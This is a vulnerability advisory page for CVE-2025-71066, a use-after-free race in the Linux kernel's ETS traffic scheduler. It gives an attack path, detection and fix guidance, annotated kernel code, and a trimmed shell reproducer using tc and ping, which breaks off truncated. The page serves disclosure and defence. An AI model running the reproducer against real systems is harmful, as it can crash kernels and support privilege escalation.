CVE-2025-71066
NoneCVSS
—
EPSS
0.2%
Published
Jan 13, 2026
CISA due date
—
Cloudanix analysis
A flaw in the Linux kernel's network traffic scheduling code can let a local user with special setup rights crash the system or potentially take control by exploiting a timing issue during configuration changes.
- Exploitation
- Local Privilege
- Attacker needs
- Low Privilege
- Complexity
- Moderate
- Impact
- Full Compromise
- Component
- OS kernel
- Class
- Use After Free
- Remediation
- Upgrade
- Effort
- Medium
- Patch risk
- Low
What it actually does
Race condition between ets_qdisc_dequeue and ets_qdisc_change allows use-after-free on struct Qdisc when classes remain on the active list after their qdisc pointers are set to NULL and freed.
Why it matters to the business
Local attackers with namespace privileges can trigger kernel crashes or memory corruption on affected Linux systems, leading to denial of service or potential privilege escalation in environments using ETS qdisc for traffic shaping.
How an attack unfolds
An attacker creates user and network namespaces, configures an ETS qdisc with child qdiscs such as TBF, sends traffic to populate the active list, then issues concurrent qdisc change operations that reduce bands while dequeue runs, leaving dangling references that cause UAF when the freed qdisc is accessed.
How to fix it
Update Linux kernel to version 5.10.248 or later, or apply commit 062d5d544e564473450d72e6af83077c2b2ff7c3. Rebuild and reboot systems using affected kernels; restrict unprivileged namespace creation via kernel parameters or user namespaces configuration where possible.
How to confirm the fix worked
Verify kernel version is at or above the fixed release, confirm the commit is present in the source tree, and test that the provided reproducer no longer triggers UAF or kernel oops under concurrent change and dequeue operations.
Typical attack path
- Create user and network namespaces
- Configure ETS root qdisc with multiple bands and attach child qdiscs
- Add filters and generate traffic to populate active lists
- Trigger concurrent ets_qdisc_change operations that alter band counts while dequeue executes
- Exploit resulting UAF on Qdisc object for memory corruption or control-flow hijack
How to detect it
Inspect kernel logs for oops or panic messages referencing ets_qdisc, Qdisc, or use-after-free in net/sched; correlate with audit logs showing tc qdisc change commands and namespace creation events around the time of crashes.
What your security team should do
- Prioritize kernel upgrades on all systems exposing network namespaces or using advanced qdisc configurations
- Apply the specific fixed commit or package update within the next maintenance window
- Audit systems for use of ETS qdisc and limit CAP_NET_ADMIN and namespace creation privileges
- Monitor for kernel oops or crashes involving qdisc and ets code paths
The record
In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
Affected packages
| Ecosystem | Package | Introduced | Fixed |
|---|---|---|---|
| Linux | Kernel | 0 | 5.10.248 |
| Mageia:9 | kernel | 0 | 6.6.120-1.mga9 |
| Mageia:9 | kernel-linus | 0 | 6.6.120-1.mga9 |
| Mageia:9 | kmod-virtualbox | 0 | 7.1.14-14.mga9 |
| Mageia:9 | kmod-xtables-addons | 0 | 3.24-88.mga9 |
| SUSE:Linux Enterprise High Availability Extension 15 SP6 | kernel-default | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Live Patching 15 SP6 | kernel-default | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Live Patching 15 SP6 | kernel-livepatch-SLE15-SP6_Update_21 | 0 | 1-150600.13.5.1 |
| SUSE:Linux Enterprise Server 15 SP6-LTSS | kernel-64kb | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server 15 SP6-LTSS | kernel-default | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server 15 SP6-LTSS | kernel-default-base | 0 | 6.4.0-150600.23.92.1.150600.12.42.2 |
| SUSE:Linux Enterprise Server 15 SP6-LTSS | kernel-docs | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server 15 SP6-LTSS | kernel-obs-build | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server 15 SP6-LTSS | kernel-source | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server 15 SP6-LTSS | kernel-syms | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server 15 SP6-LTSS | kernel-zfcpdump | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server for SAP Applications 15 SP6 | kernel-default | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server for SAP Applications 15 SP6 | kernel-default-base | 0 | 6.4.0-150600.23.92.1.150600.12.42.2 |
| SUSE:Linux Enterprise Server for SAP Applications 15 SP6 | kernel-docs | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server for SAP Applications 15 SP6 | kernel-obs-build | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server for SAP Applications 15 SP6 | kernel-source | 0 | 6.4.0-150600.23.92.1 |
| SUSE:Linux Enterprise Server for SAP Applications 15 SP6 | kernel-syms | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | dtb-aarch64 | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-64kb | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-debug | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-default | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-default-base | 0 | 6.4.0-150600.23.92.1.150600.12.42.2 |
| openSUSE:Leap 15.6 | kernel-docs | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-kvmsmall | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-obs-build | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-obs-qa | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-source | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-syms | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 15.6 | kernel-zfcpdump | 0 | 6.4.0-150600.23.92.1 |
| openSUSE:Leap 16.0 | dtb-aarch64 | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-64kb | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-azure | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-default | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-default-base | 0 | 6.12.0-160000.26.1.160000.2.7 |
| openSUSE:Leap 16.0 | kernel-docs | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-kvmsmall | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-obs-build | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-obs-qa | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-rt | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-source | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-syms | 0 | 6.12.0-160000.26.1 |
| openSUSE:Leap 16.0 | kernel-zfcpdump | 0 | 6.12.0-160000.26.1 |
Related vulnerabilities
- CVE-2026-23226 In the Linux kernel, the following vulnerability has been resolved: ksmbd: add chann_lock… Also affects Kernel
- CVE-2026-23225 In the Linux kernel, the following vulnerability has been resolved: sched/mmcid: Don't… Also affects Kernel
- CVE-2026-23230 In the Linux kernel, the following vulnerability has been resolved: smb: client: split… Also affects Kernel
- CVE-2026-23224 In the Linux kernel, the following vulnerability has been resolved: erofs: fix UAF issue… Also affects Kernel
- CVE-2026-23227 In the Linux kernel, the following vulnerability has been resolved: drm/exynos: vidi: use… Also affects Kernel
- CVE-2026-23223 In the Linux kernel, the following vulnerability has been resolved: xfs: fix UAF in… Also affects Kernel
- CVE-2026-23228 In the Linux kernel, the following vulnerability has been resolved: smb: server: fix leak… Also affects Kernel
- CVE-2026-23229 In the Linux kernel, the following vulnerability has been resolved: crypto: virtio - Add… Also affects Kernel